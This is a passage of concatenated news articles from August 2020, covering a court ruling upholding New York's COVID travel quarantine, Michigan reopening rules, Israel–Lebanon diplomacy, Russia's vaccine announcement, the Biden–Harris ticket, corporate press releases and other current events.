restaurants. And an earlier ruling blocked state rules specifically limiting capacity at religious services. In the case of travel, though, Hurd made it clear that he didnt see any real harm in enforcing the quarantine, noting it applied to both state residents and outside travelers alike. The Arizona woman, Cynthia Page, argued that the rules prevented her from sight-seeing around New York City and helping a friend move to a different state. These allegations are hardly cognizable as harm, let alone irreparable harm sufficient to justify preliminary relief, such as immediately overturning the state rules, Hurd wrote in his decision. The judge also rejected Pages argument that the rules were designed to punish residents from Republican-controlled states. Instead, the judge credited information from state lawyers pointing to data driving the decisions. (The state uses a widely publicized metric for determining which states are on the quarantine list.) In conclusion, Hurd ruled that Page had no chance to win her challenge, leading the judge to dismiss her entire lawsuit. Central to his 25-page decision is a 1902 case arising from a smallpox outbreak in Massachusetts. The U.S. Supreme Court ruled in Jacobson v. Massachusetts that local officials had wide latitude to restrict activities during a public health crisis, when faced with uncertain science. That decision, more than a century old, has come under scrutiny during the Covid crisis, Hurd acknowledged. But it still remains the test for these types of government restrictions during the pandemic. Page had argued that the government needed to craft much more targeted guidelines. She cast the Jacobson standard as outdated. After all, the rules forced healthy people to quarantine, unfairly targeting those who wanted to freely travel, she argued. But the Jacobson decision shows that state officials acted within their authority during the pandemic, Hurd ruled. And until the countrys highest court returns to the question of government powers during a public health crisis, Jacobson remains the standard. Jacobson was decided just after the turn of the last century, at a time when medical science was in its adolescence if not still in its infancy, Hurd concluded. Because it endorses an approach to constitutional analysis that has fallen out of fashion, it is admittedly strange and even a little alarming to discover that Jacobson is still considered the right tool for evaluating state action taken to protect public health. Yet unless and until the Supreme Court revisits Jacobson and fashions a test that demands a more particularized showing from public health officials in light of the unbelievable medical achievements of the twenty-first century, it remains a complete roadblock to Pages claims. A new state tool clears up which activities are still not allowed in Michigan due to the coronavirus pandemic and Gov. Gretchen Whitmers executive orders. There are more than 160 coronavirus executive orders in Michigan many of which have been rescinded, altered or prolonged since they first went into effect. The new online webpage shows a chart of activities and notes if the activity can resume or not in each Michigan region. The dozens of activities listed include bars, casinos, gyms, concerts, parks, professional sports, pools, childcare, nursing homes, schools and more. Regions 6 and 8 which include the northern Lower Peninsula and Upper Peninsula can have more activities open than the rest of the state, due to lower COVID-19 infections and other indicators. For example, bowling alleys, movie theaters, convention centers and more can open in these northern counties at 25% capacity, while they remain closed in the rest of the state. The site also has a map of the eight regions, showing which phase each is in for the states MI Safe Start Plan. Schools are only allowed to open for in-person learning if they're in Phase 4 (improving) or higher. All Michigan regions are in either Phase 4 or 5 right now. Even if schools are allowed to open for in-person learning, districts can decide to do online-only learning for safety reasons, which many have already committed to. This MI Safe Start Plan map is not to be confused with the MI Safe Start Map, which tracks the COVID-19 risk level in each of the regions using the same phases but does not determine whether activities can close or open. COVID-19 PREVENTION TIPS In addition to washing hands regularly and not touching your face , officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores. Michigan Gov. Gretchen Whitmer has also issued executive orders requiring people to wear face coverings over their mouth and nose while in public indoor and crowded outdoor spaces. See an explanation of what that means here . Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus . For more data on COVID-19 in Michigan, visit https://www.mlive.com/coronavirus/data/ . RELATED STORIES Tuesday, August 11: Latest developments on coronavirus in Michigan Can a building truly be COVID-proof? A look at the latest virus-busting technology. Why a state-supported map had people believing parts of Michigan were closing again Casinos can reopen, Up North gets more restrictions: A reminder of whats allowed in Michigan Tuesday, Aug. 11, coronavirus data by Michigan county: 9 counties now at higher risk; 7 in the green zone. What do Michigan teachers fear most about in-person learning? The students sitting in their classrooms Israeli Prime Minister Netanyahu spoke with French President Emmanuel Macron today, Aug. 11, on developments in Lebanon following the Aug. 4 blast in the port of Beirut. A statement issued by Netanyahus office read, The prime minister praised President Macron for his display of leadership on the matter of Lebanon and expressed Israels willingness to give humanitarian aid." Netanyahu made a point of also discussing Hezbollah with his French counterpart, calling for the groups missiles and explosive materials to be removed from populated areas to prevent an event similar to the port explosion. The prime minister clarified that if Hezbollah thinks they can solve the crisis in Lebanon by creating a crisis with Israel, this is a big mistake, read the statement. Macron's Aug. 6 visit to Lebanon and the demonstrations against Hezbollah and against the Lebanese government evidently offered Israel an opportunity to drum up international support against the group. Walking through a predominantly Christian district of Beirut, Macron was greeted by people shouting, Mr. Macron, free us from Hezbollah. After the explosion, Israel was quick to offer Lebanon aid. Defense Minister Benny Gantz and Foreign Minister Gabi Ashkenazi said in a joint statement, Israel approached Lebanon through international defense and diplomatic channels to offer the Lebanese government medical humanitarian aid." Netanyahu followed with a similar statement. His office announced that Israel had contacted the United Nations to explore possibilities for transferring humanitarian aid. The Tel Aviv municipality lit up its city hall with the colors of the Lebanese flag in a first-ever gesture of solidarity. Israel realized quickly after the blast that the tragedy was pushing Hezbollah into a corner. On Aug. 10, Gantz publicly put Israeli sentiments into words. While [Hezbollah Secretary General Hassan] Nasrallah is our greatest enemy to the north, he is Lebanons biggest problem from within Lebanon. We see the tragedy that happened in Lebanon. Just think about what would happen if that were repeated with Iranian weapons in Lebanese villages, said Gantz, addressing the Knessets defense committee. The United States and several European countries consider Hezbollah or at least its military arm a terror group. As such, Lebanon already has a hard time receiving financial aid from the International Monetary Fund and other international institutions. With the enormous damage caused by the blast in the port and the deep economic crisis already afflicting Lebanon, the country desperately needs the help of the international community. For Israel, it means an opportunity to fracture the ties between the new government that will be established in Lebanon and the Hezbollah group. Jerusalem estimates that a split will only come if the international community pressures the Lebanese leadership on the issue. The phone call to Macron was the first public step in that direction. Had the city been governed by rational decisionmakers and properly advised by attorneys, the city could have ended this, Monforton said. The potential multimillion-dollar expense is the result of staggering incompetence by city officials and years of inexcusable fee churning by its attorneys." Asked by The Billings Gazette to comment, Doug James, one of the attorneys handling the case for the city, said in an email, "because of the rules governing class action cases, we cannot discuss the cases until we receive a ruling from the court." Franchise fees Beginning in 1992, the city has tacked on 4 or 5% in monthly franchise fees to its water, wastewater and garbage disposal bills. Typically, a franchise fee is charged by a utility or other entity and paid to the city as a sort of rent for using public property to run its pipes, or poles or wires. But, in this case, the term franchise fee is a lie, Monforton said in the suit. The franchise fees were not fees and there never was any franchise involved. The city water, wastewater services and solid waste disposal services directly to customers rather than contracting with a franchise. Donald Trump Vs Joe Biden for President: Who will be better for India? Prime Minister Narendra Modi and US President Donald Trump have shared very close personal ties. The bonhomie between the two leaders, who refer to each other as friends, has been on display several times. Critics however argue that the personal ties between the two leaders has not translated into policy benefits for India. Now, with the US headed to polls in November, there is a possibility of a new President being elected. So if Joe Biden were to be elected President, how would the dynamics of the ties between India and the US change. What are the sectors that would be majorly affected? Will Biden continue to follow Trump's policy vis-a-vis India, or will we see a change in approach from the US. What are points in which PM Modi and Biden share a similar ideology and what are the points of differences. Biden's remarks on CAA and Kashmir had ruffled a few feathers in the Indian administration. Will that be a sticking point if Biden were to be elected President? Watch this video to find out how India-US ties would be impacted if Biden were to win the US Presidential polls in November. ...read more BOSTON, Aug. 11, 2020 /PRNewswire/ -- An international Boston Consulting Group (BCG) survey on employee sentiment reveals that productivity can be maintained surprisingly well in a virtual or hybrid work setting, according to a new BCG article, What 12,000 Employees Have to Say About the Future of Remote Work. The survey, conducted in the US, Germany, and India, also shows that there is significant appetite for flexible ways of working among employees, as well as increased openness to this from managers. As working methods become increasingly remote or hybrid in the wake of the COVID-19 pandemic, a key question for companies is how to maintain and improve this productivity in the workplace of the future. Despite both the speed of the shift to remote working and its scale (the survey found the pandemic forced employers to move about 40% of employees to remote working), some 75% of employees said that during the first few months of the crisis, they have in fact been able to maintain or improve their perceived productivity on individual tasks (such as analyzing data, writing presentations, or executing administrative tasks). While employees were working on collaborative tasks (such as exchanges with coworkers, working in teams, or interacting with clients), the number was lower, though still more than half51%of all respondents said they have been able to maintain or improve their productivity. This applies across geographic areas and both to employees working remotely and to those onsite. "It turns out that social connectivity is a critical element of what enables us to be productive when collaborating in the workplace," said Debbie Lovich, a BCG managing director and senior partner. "So, for any company looking to adapt to new virtual or hybrid virtual/onsite workplaces, promoting virtual social connectivity between colleagues is going to be critical." Key Factors for Enhancing Productivity When analyzing the data, BCG found four factors that correlate with employees reporting continued or even enhanced productivity on collaborative tasks: social connectivity, mental health, physical health, and workplace tools. Of these, social connectivity emerged as the most powerful force. Respondents who reported satisfaction with social connectivity with colleagues are two to three times more likely to maintain or improve their productivity on collaborative tasks as those who are dissatisfied with this (for mental and physical health and workplace tools, it is about twice as likely). And employees who experience satisfaction or doing better on all four factors are almost five times as likely to say they have felt able to maintain or improve productivity on collaborative tasks as those who are dissatisfied or doing worse on at least three factors. A New World of Work Equally striking in the data is evidence of a seismic shift in the way employees are thinking about their workplace, which is important for how companies recruit and retain talent. In the survey, 60% of employees said they want some flexibility in where and/or when they work. "In the future, we'll see an increasingly distributed workforce in a workplace whose physical footprint will have shifted beyond recognition and will serve very different needs," said Adriana Dahik, a BCG managing director and partner. What all this means for employers is that they will have to work to implement new systems, norms, and technologies that will enable them to continue to support and increase workplace productivity. Key interventions include: Identifying ways to maximize social connectivity among employeeswhether work happens face to face or remotely Creating awareness, tools, and benefits that support the mental and physical health of all employees Investing in and building capabilities to use the technologies, tools, and systems that enable employees to work and collaborate remotely Measuring employee productivity in conjunction with employee perceptions Ensuring that the transitions between respective team norms for onsite and remote are as smooth as possible, giving employees a cohesive experience that feels designed, not random "While COVID-19 has caused great personal, health, and economic hardship, it has also presented a once-in-a-lifetime opportunity to reinvent the workplace," said Lovich. "And doing so will be essential if companies are to meet employee desires for flexibility while harnessing their potential for productivity and remaining competitive when it comes to recruiting and retaining the best talent." Those that get it right will not only position themselves for business successthey will also enable everyone to contribute to the creative, innovative, collaborative, and productive workplace of the future. About the Survey The BCG employee sentiment survey ran from the end of May through mid-June. It surveyed more than 12,000 professionals employed before and during COVID-19 in the US, Germany, and India. These employees work in roles such as analysts, engineers, HR personnel, teachers, and health care providers (but not jobs that must be performed onsite such as cashiers or assembly line workers). The survey explored their attitudes toward flexibility, their relative productivity on various tasks (individual, collaborative, and managerial), their well-being, career security, social connectivity, culture, learning and development, and the work tools they use. A copy of the report can be downloaded here . To arrange an interview with one of the authors, please contact Eric Gregoire at +1 617 850 3783 or [email protected] . About Boston Consulting Group Boston Consulting Group partners with leaders in business and society to tackle their most important challenges and capture their greatest opportunities. BCG was the pioneer in business strategy when it was founded in 1963. Today, we help clients with total transformationinspiring complex change, enabling organizations to grow, building competitive advantage, and driving bottom-line impact. To succeed, organizations must blend digital and human capabilities. Our diverse, global teams bring deep industry and functional expertise and a range of perspectives to spark change. BCG delivers solutions through leading-edge management consulting along with technology and design, corporate and digital venturesand business purpose. We work in a uniquely collaborative model across the firm and throughout all levels of the client organization, generating results that allow our clients to thrive. SOURCE Boston Consulting Group (BCG) Related Links https://www.bcg.com MOSCOW (dpa-AFX) - On the day the world reached a grim mark of 20 million people infected with Covid-19, Russian President Vladimir Putin announced that researchers in his country have developed the world's first vaccine for coronavirus. Announcing this on Russian state TV on Tuesday, Putin said that the vaccine against coronavirus, developed by the Moscow-based Gamaleya Institute, had gone through all the necessary checks. Addressing a Cabinet meeting via live teleconference, Putin said, 'A vaccine against coronavirus has been registered for the first time in the world this morning.' 'I know that it works quite effectively, it forms a stable immunity,' he added. 'So we're the first to have registered. I hope our foreign colleagues' work will move as well, and a lot of products will appear on an international market that could be used,' Putin told his Cabinet colleagues. Putin revealed that the vaccine was tested on one of his daughters, and that she was fine after having had an increase in temperature following the injections. He hopes the country soon starts mass producing the vaccine, which could pave the way for the mass inoculation of COVID patients in the country. Russia's Minister for Health Mikhail Murashko claimed that the vaccine was 'proven to be highly effective and safe.' The final stages of clinical trials to test safety and efficacy of the vaccine are going on. Global cases of Covid-19 crossed 20 million on Monday and reached 20092855, according to latest figures from Johns Hopkins University. More than one fourth of those cases are in the United States. With the addition of 49,701 new coronavirus patients, the total number of confirmed cases in the country rose to 5094565 5 million Sunday. 527 people died from the viral infection in the last 24 hours, bringing the cumulative national total to 163465. California Governor Gavin Newsom said at a news conference that trends point to 'encouraging signs' in the state's COVID outbreak. Hospitalizations have dropped 19 percent in the last two weeks, he told reporters. The Governor announced $81.8 million to support isolation and quarantine efforts in communities severely affected by the pandemic. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de The remains of Vanessa Guillen were handed over to her family in Houston via a funeral home on Monday, and her memorial service will take place on Friday, the familys lawyer said. The Texas Rangers delivered the remains to the funeral home today, said attorney Natalie Khawam. A memorial service will take place at Cesar Chavez High School in Houston, where Spc. Guillen attended, Khawam said. Luis Landa, principal of Cesar Chavez High School, said he is glad that the family decided to have the memorial at the school. I know its very, very difficult for the family, and they must be going through quite a bit right now, Landa said. He said that there are many students and staff members who knew her extremely well and loved her, and they want to be here for the family. The Guillen family received Vanessas remains 110 days after she was murdered by another soldier inside an armory room in Fort Hood on April 22, according to investigators. Well get to see her today for the first time since she died, said her sister Mayra Guillen. Today I get her back home. The family said that receiving the remains has been a long-awaited step in their grieving process, and said they complained about the delay during their visit to the White House on July 30. The family told President Donald Trump at the meeting that they werent able to have a funeral for Vanessa because the Texas Rangers and the FBI had custody of the remains and said that they could not turn them over because the case was still under investigation. The Guillen family is grateful that the president helped expedite Vanessas remains back to her family so they can have a funeral and properly bury her body on Saturday, Khawam said. We have had everything prepared for the funeral, Gloria Guillen said in a recent interview with the Chronicle. She said she was planning to have two ceremonies for her daughter, a public and a private one, although full details were not yet available. The family decided to use a custom-made casket donated to them that has elements meaningful to the Mexican-American soldier and her family including images of the flags of the United States and Mexico and the Virgin of Guadalupe. olivia.tallet@chron.com Twitter: @oliviaptallet The figure does not cover Koreans who had already been living abroad and moved there permanently. According to the Foreign Ministry on Monday, 1,590 Koreans moved overseas last year, up from a low of 273 in 2015. Their numbers started to surge in 2017 when some 1,294 Koreans left the country. One wealthy 48-year-old woman who spoke with the Chosun Ilbo at a relocation agency in the affluent Gangnam area early this month has bought an apartment in New York and is making plans to move there. She will spend US$500,000 on a U.S. residency permit and another $1.8 million to buy real estate. She has around W5 billion in her bank account (US$1=W1,188). "I decided to emigrate after the government shifted policies more than 20 times over the last three years targeting people who own expensive real estate in Gangnam," she said. "If I get the Manhattan apartment I am looking at right now, the New York City government will offer me more than $12,000 in property tax cuts a year." Even middle-class Koreans are jumping ship. One 44-year-old housewife who lives in central Seoul is looking into emigrating to Porto, Portugal's second-largest city. "Just a few years ago, I would never have imagined emigrating. All I own is an apartment in downtown Seoul, but the price suddenly soared to a few billion," she said. "I can sell my apartment and spend half of it on a home in Europe and the rest to cover living expenses there." A staffer at the agency said, "Recently, not only wealth Koreans but more and more ordinary middle-class people in Seoul are using apartments valued at W1 billion to W2 billion to emigrate." Ahead of an upcoming release of Taliban detainees held in Afghan prisons, the insurgent group warned the government in Kabul on Tuesday against any attacks on those released, saying such incidents would jeopardise the peace talks. A Taliban spokesman told The Associated Press there have been at least 11 such attacks in the past several months instances when freed Taliban figures were killed, harassed and re-arrested by government forces. Kabul officials denied unwarranted attacks on freed Taliban. The prisoner release is part of a deal the insurgents signed with the United States earlier this year. A final 400 Taliban prisoners remain in government prisons. Over the weekend in Kabul, an Afghan traditional council, known as the Loya Jirga, agreed to free the final 400 imprisoned Taliban, paving the way for an early start to negotiations between Afghanistan's warring sides. The council agreed to an immediate release of Taliban prisoners but by Tuesday, they had not been freed. Negotiations between Kabul's political leadership and the Taliban are expected to begin within weeks and will be held in the Mideast state of Qatar, where the Taliban maintain a political office. The Taliban said the talks could begin within a week of the final prisoner releases. Taliban political spokesman Suhail Shaheen warned that attacks on newly freed prisoners will drive them back to the battlefield despite orders from their leaders to stay at home, with their families. Attacks on their homes will make it impossible for them to stay in their homes," Shaheen said. Such incidents have happened that they have been re-arrested and also killed." In recent months, both sides have freed prisoners in line with the deal the Taliban signed with Washington on February 29 to bring an end to decades of war. The government was to free 5,000 and has already released all but the last 400. The Taliban freed the 1,000 members of the government forces and Afghan officials they had held captive. Shaheen said the Taliban would be ready within one week to sit at the negotiating table" with Kabul's political leadership to first negotiate a cease-fire and then start the complex talks to decide the road map of a post-war Afghanistan. But he said the moment is critical. For some it compares after the 9/11 attacks, when the 2001 U.S.-led invasion toppled the Taliban in who had harbored al-Qaida leader Osama bin LadenThen tens of thousands ofaliban who gave up arms to return to their homes at the time were targeted by Afghan groups and warlords they had once fought seeking revenge. In December, 2001 a convoy of Afghan elders, including former Taliban, were targeted en route to welcome U.S.-backed President Hamid Karzai. Many who survived that attack later rejoined the Taliban. In southern Zabul province, more than 2,000 ethnic Pashtuns, the backbone of the Taliban movement, tried to join the newly formed Afghan army in 2002, only to be humiliated by Kabul government forces. Most rejoined the Taliban. After 2001, when some former Taliban attempted to join the 'new order,' they were persecuted and humiliated. And some who were just from Taliban areas were accused of being supporters and attacked and driven out of their land, said Patricia Gossman, Associate Asia director of the Human Rights Watch. Many eventually joined the insurgency. Gossman said unless a strategy is devised and a system put in place there is a danger that attacks on the tens of thousands of former fighters on both sides of the conflict could unravel a fragile peace process. Given the enormous amount of mistrust ... old grievances can easily erupt into more violence, she said. Sediq Sediqqi, spokesman for Afghan President Ashraf Ghani, has denied that any released Taliban were arrested or attacked without cause. However, last month a government air strike in western Herat killed 14 people when hundreds of elders had gathered to greet a returning Taliban figure newly freed from prison. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Kaley Cuoco was glimpsed walking one of her dogs in New York City this Monday after arriving from California. The 34-year-old was previously self-isolating in Los Angeles and was spotted there on Sunday but by the following day she was clear across the country. She could be seen wearing a face shield on top of her mask as she emerged from quarantine amid the ongoing COVID-19 pandemic. Off she goes: Kaley Cuoco was glimpsed walking one of her dogs in New York City this Monday after arriving from California New York State requires travelers from states with particularly high COVID-19 positive test rates to quarantine for 14 days upon arrival. California is one of the 31 states subject to this rule, which has also been imposed on the territories of Puerto Rico and the Virgin Islands. Kaley is in New York City to film her upcoming HBO Max sitcom The Flight Attendant, she announced on her Instagram page this Monday. 'Off to NY to finish @theflightattendantmax what a dream to spend the last few months with my incredible horses but time to finish what I started,' she wrote. Doubling up: She could be seen wearing a face shield on top of her mask as she emerged from quarantine amid the ongoing COVID-19 pandemic Season one of The Flight Attendant has eight episodes, and filming on the sixth was underway when the shoot was suspended for lockdown in March. One of the showrunners Steve Yockey appeared in a virtual panel for the Television Critics Association press tour last week and hinted that production was to restart. He dished that 'assuming everything goes according to plan, you'll see it on HBO Max this fall,' according to The Hollywood Reporter. While in Los Angeles this April, Kaley and her second husband Karl Cook finally moved in together more than a year after their wedding. Side by side: While in Los Angeles this April, Kaley and her second husband Karl Cook finally moved in together more than a year after their wedding Kaley told Access this March that she and Karl were planning to move into their luxurious Los Angeles home the following month. They were waiting until renovation was completed on their Hidden Hills estate, which they jointly bought for $11.75 million according to Variety. Their plan was to move into the property after she finished shooting The Flight Attendant in New York, but lockdown threw a wrench in that idea. Although the actress and the equestrian married on a horse ranch over the summer of 2018 they had never lived together before this year. Police in Madhya Pradeshs Datia have arrested an alleged serial killer, who murdered at least four people including three in less than two years and may have been involved in more such crimes, officials said on Monday. The alleged accused Jugal Kishor Dheemar, 32, a resident of Bhander town of Datia district, 405km north of state capital of Bhopal, was arrested on Sunday, said police. Dheemar was arrested in connection with the three murders, including a double murder, on the ground of the similar method of the crime he had adopted more than a decade ago, said police. It was a modus operandi of the accused--smashing the victims heads with a wooden rod to kill them--which sent Dheemar behind the bar, said Aman Singh Rathor, Datias superintendent of police. In October 2018, a middle-aged couple, Yakub Beg and Salma Beg, residents of Bohrana Mohalla, Bhander, were found dead at their home. Their heads were smashed with a wooden rod which was recovered from the spot of the crime by the police, Rathor said. A special team was formed to arrest the criminal but the police couldnt found any clue. In June this year, a 46-year-old Aganwadi worker Lodha Bai, a resident of Peerbali Mohalla of Bhander, was found dead in her house. Her head was also smashed with a wooden rod, he added. In both the cases, we didnt find any strong evidence but the modus operandi was found common. Police team read the case diaries of murders that had taken place at least in the past 15 years and they found that a 35-year-old man Irfan Khan had been killed in the same manner in 2009 by Dheemar. Dheemar was arrested in 2009. He was released on bail three years ago. The matter is pending before the court, he added. During investigation, local residents told the police team about their suspicion on Dheemars unusual behaviour. Police arrested him on Sunday and during the interrogation, he confessed to have committed the murders, said Rathor. Dheemar told the police that he had killed Yakub and Salma because they had scolded him for sitting in the verandah of their house. He killed the Anganwadi worker as she had scolded him when he accidentally almost fell on her while walking. He killed all the three during the night when they were sleeping in their homes. He had committed loot also in these two houses, he said. He was produced before a court on Monday, which sent him to police remand for three days. Iran Monday shut down a private newspaper after the media publish remarks by an expert who challenged government figures on covid-19 pandemic has caused deaths of the 18,616 people in the Islamic republic. Jahane Sanat according to IRNA news agency has been closed citing the media editor-in-chief Mohammad Reza Sadi. The daily attracted wrath of Teheran after it quoted on Sunday Mohammad Reza Mahboobfar, an epidemiologist the paper said had worked on the governments anti-coronavirus campaign, as saying the true number of cases and deaths in Iran could be 20 times the numbers reported by the health ministry, The New Arab reports. Mahboobfar also stressed that the virus was detected a month earlier than February 19, date of the first confirmed case in Iran. He lambasted authorities for holding the up the announcement for political and security reasons. Jahane Sanat source also forecasted another wave of contaminations next month as universities hold entrance exams and people mark major Shia holidays. Irans health ministry rejected the accusations adding that Mahboobfar had no role in the governments anti-coronavirus campaign. The ministry claimed that it reported the cases in a transparent way. Iran is worst affected country by the virus in the Middle East. Over 328,000 people according to Worldometer, have been contaminated since report of the first case. Biden taps Kamala Harris as running mate; 'most pro-abortion ticket' in US history, SBA List says Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Presumptive Democratic presidential nominee Joe Biden selected California Sen. Kamala Harris to be his 2020 running mate, making her the first black woman ever selected as a vice-presidential candidate by one of the countrys two major political parties. Pro-life activists are criticizing the move, however, with one calling the Biden-Harris ticket the most pro-abortion presidential ticket in American history. Meanwhile, abortion-rights activists are praising the nomination, calling Harris a reproductive freedom champion. I have the great honor to announce that Ive picked @KamalaHarris a fearless fighter for the little guy, and one of the countrys finest public servants as my running mate, Biden wrote in a tweet Tuesday afternoon. In a second tweet, Biden explained that his late son, Beau, worked closely with Harris when she served as attorney general of California. I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse, Biden wrote. I was proud then, and I'm proud now to have her as my partner in this campaign. Harris, 55, was one of Bidens fiercest critics during the 2020 Democratic presidential primary debates, criticizing the former vice presidents past opposition to federally mandated busing to desegregate schools. .@JoeBiden can unify the American people because he's spent his life fighting for us. And as president, he'll build an America that lives up to our ideals, Harris wrote in a tweet Tuesday. I'm honored to join him as our party's nominee for Vice President, and do what it takes to make him our Commander-in-Chief. Harris served as the district attorney of San Francisco from 2004 until she was elected as California attorney general in 2010. She held that position until 2017 when she was elected to the U.S. Senate. Although Harris ran for the Democratic presidential nomination in 2020, she dropped out before the Iowa caucuses as she struggled in the polls. As a senator, Harris gained prominence by her tough questioning of President Donald Trumps cabinet selections and Supreme Court nominees. Harris has faced criticism from social conservatives over her ties to abortion giant Planned Parenthood and her prosecution of pro-life activist and citizen journalist David Daleiden of the Center of Medical Progress. Daleiden and his associate, Sandra Merritt, were prosecuted over a series of undercover videos that showed Planned Parenthood employees discussing the illegal sale of aborted baby body parts. Instead of investigating Planned Parenthood, she elected to prosecute Daleiden and Merritt. Kamala Harris is an extremist who supports abortion on demand through birth, paid for by taxpayers, and even infanticide an agenda rejected by the overwhelming majority of Americans, including millions of Independents and rank-and-file Democrats, Susan B. Anthony List President Marjorie Dannenfelser said in a statement. As attorney general of California, Harris conspired with the abortion industry to launch a politically-motivated shakedown of brave citizen journalists who exposed Planned Parenthoods role in the harvest and sale of aborted baby parts for profit. Dannenfelser, who led the 2016 Trump campaigns pro-life coalition, is not surprised that Biden chose an abortion "extremist" as his running mate. If elected, they will immediately begin rolling back President Trumps pro-life gains, as well as longstanding policies like the Hyde Amendment, she said. They will stack the Supreme Court with pro-abortion ideologues, setting the pro-life cause back for generations. Together, Biden and Harris constitute the most pro-abortion presidential ticket in American history. Brian Burch, the President of CatholicVote, a national faith-based advocacy organization, said in a statement that Bidens selection of Harris made it clear that his self-styled Catholic identity is something which can be cast aside whenever it's politically expedient. Like Joe Biden himself, Kamala Harris favors radical abortion policies including late-term abortion paid for by taxpayers, as well as forcing Catholic religious orders like the Little Sisters of the Poor to provide abortion drugs in their healthcare plans, Burch said. Burch also criticized the senator for her 2018 questioning of Trump judicial nominee Brian C. Buescher about his membership in the Catholic fraternal organization Knights of Columbus, which holds traditional Catholic beliefs on same-sex marriage and abortion. It is clear that a Biden-Harris ticket threatens the values Catholics in this country hold most dear, Burch added. ONYX Hospitality Groupis introducing Saffron Collection, a portfolio of individual boutique hotelsand resorts each narrating their own timeless tale (TRAVPR.COM) THAILAND - August 10th, 2020 - ONYX Hospitality Group is introducing Saffron Collection, a portfolio of individual boutique hotels and resorts each narrating their own timeless tale, to complement the ongoing regional expansion of Amari, OZO and Shama. Conceptualised as a portfolio of hotels that creatively interprets compelling stories of the personalities and history associated with each destination, Saffron Collection will initially be available in Hanoi, Penang, Bangkok and Aranyaprathet in Thailand, with plans for further expansion across the Asia-Pacific region. ONYX Hospitality Groups Oriental Residence Bangkok will be reintroduced as a Saffron Collection property, with The Five Residences Hanoi scheduled to open in October 2020 as a new-build addition to this collection. This will be followed by the mid-2021 opening of The George in Penang, and the early 2022 opening of Indochina Hotel in Aranyaprathet, Thailand. Each Saffron Collection property will serve as a timeless showcase of the continuous legacy of the landmarks, people or legends that made a lasting impact on the destination and neighbourhood. Travellers will be captivated by the distinctive soul and character of each hotel. They will be connected with the past and present with compelling tales presented through specially-commissioned postcards, journals, exploration maps, mixology concoctions and bedtime stories. At the heart of every Saffron Collection lobby, a customised cocktail cabinet will take pride of place. Offering a select list of mixology concoctions from the locality complemented with one signature cocktail representing each Saffron Collection property, travellers can interact with tales from their journeys and find inspiration for their next storied destination. As the Saffron Collection portfolio expands in the years to come, travellers can expect a growing list of signature cocktails designed for each property. Saffron Collection is driven by our quest to create a distinctive portfolio of boutique hotels and resorts that appeal to guests who want to be immersed in the stories and legends of the places they visit, said Douglas Martell, President and CEO, ONYX Hospitality Group. Each Saffron Collection property aims to create memorable experiences through locally-relevant design and sensitive integration into the past and present of a destination. For owners and investors, Saffron Collection is also our way of preserving the compelling moments in a family, a corporation or a building and areas history, and reinterpreting them towards memorable experiences for our present and future travellers. By the end of 2020, Saffron Collection will be present in two cities: Oriental Residence Bangkok Inspired by the tales and moments in history of the famed Oriental Hotel along the banks of the Chao Phraya River, Oriental Residence Bangkok is a modern-day city-centre interpretation of one of the worlds most revered hotels. Welcoming travellers since 2012, Oriental Residence Bangkok is flanked by the embassies of the United States and the Netherlands. The property features 145 suites, a collection of light-filled function rooms and the French-inspired Cafe Claire. The Five Residences Hanoi Conceptualised as a sanctuary for rest and revitalisation amidst the hustle and bustle of Vietnams capital city, The Five Residences Hanoi takes inspiration from the much-loved Five Elements Mountains (also known as Marble Mountains) of South Central Vietnam. The property incorporates the five elements of nature - earth, fire, wood, metal and water - into its design and guest experience. Centrally located on Doi Can Street, the property offers 116 rooms and suites, neo-Asian dining at NAM and transformative treatments at MAAI Spa. Scheduled to open in October 2020. Anticipated openings in 2021 and beyond include: The George, Penang Surrounded by the landmarks and cultural attractions in the heart of the islands UNESCO world heritage listed old quarter, The George, Penang invites travellers to discover the history of the charming port settlement named after King George III. Located on Jalan Pinang on a storied site that was once a Chinese dispensary and then a sundry shop catering to the military, The George, Penangs 93 rooms and suites, destination restaurant and rooftop pool will pay tribute to the areas continuing legacy. This new-build hotel is scheduled to open in mid-2021. Indochina Hotel, Aranyaprathet A historic institution and the very first hotel in the Eastern Thai town of Aranyaprathet, IndoChina Hotels striking collection of two-storey European colonial buildings were established on estate acquired by the founding familys matriarch, a philanthropist who donated much of her wealth to various charitable causes. The 120-room hotel will reopen in 2022 following an extensive restoration, and serve as a living showcase of the matriarchs favourite textiles, jasmine flowers and Thai green curry recipes. ### About ONYX ONYX Hospitality Group operates several diverse yet complementary brands Amari, Shama and OZO each catering to the distinctive requirements of todays business and leisure travellers. ONYX reaches beyond its Thai roots to offer innovative management solutions across the Asia-Pacific region. Visit For more information or high-resolution photography, please contact us: Media Room: Salesforce is increasing its annual grants to schools to $20 million as the most uncertain educational year in modern history begins amid the coronavirus pandemic. The tech company, San Franciscos largest private employer, is giving $9 million to San Francisco Unified School District and $9 million to Oakland Unified School District. It is also giving $500,000 each to Indianapolis, Chicago and New York districts, along with $500,000 to Courageous Conversation Global Foundation to partner with schools to promote racial justice education. The pandemic really isnt under control. We want to do everything we can to help our schools, said Ebony Beckwith, Salesforces chief philanthropy officer. Private aid is increasingly crucial as San Francisco and other school districts face widening budget deficits due to the pandemic and recession. San Francisco is facing a $7 million deficit in operating expenses for the current fiscal year, which may increase as the school district continues investing in online learning, said Gentle Blythe, the districts deputy superintendent of strategic partnerships and communications. Principals will have flexibility in how to spend the money. In San Francisco, the school district is requesting that principals prioritize two goals: Lowering the achievement gap for Black students and helping to meet the districts Vision 2025 goals, which are guidelines for preparing students for the future, Blythe said. Previous programs funded by Salesforce include a Black ethnics studies course and additional training for staff. Their investment has really made it possible to do some amazing things for our students, including having a comprehensive pre-K-12 computer science program. Weve been able to train thousands of educators, Blythe said. Salesforce is also expanding its Work.com product, which helps governments and companies reopen, for usage by schools. The product helps educators track local data around coronavirus, manage contact tracing and communicate with families. The program costs $15 per user annually. Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes Salesforce has allocated $118 million to schools to date, including eight years of grants in San Francisco. Last year, it gave $18.2 million to San Francisco and Oakland schools, along with 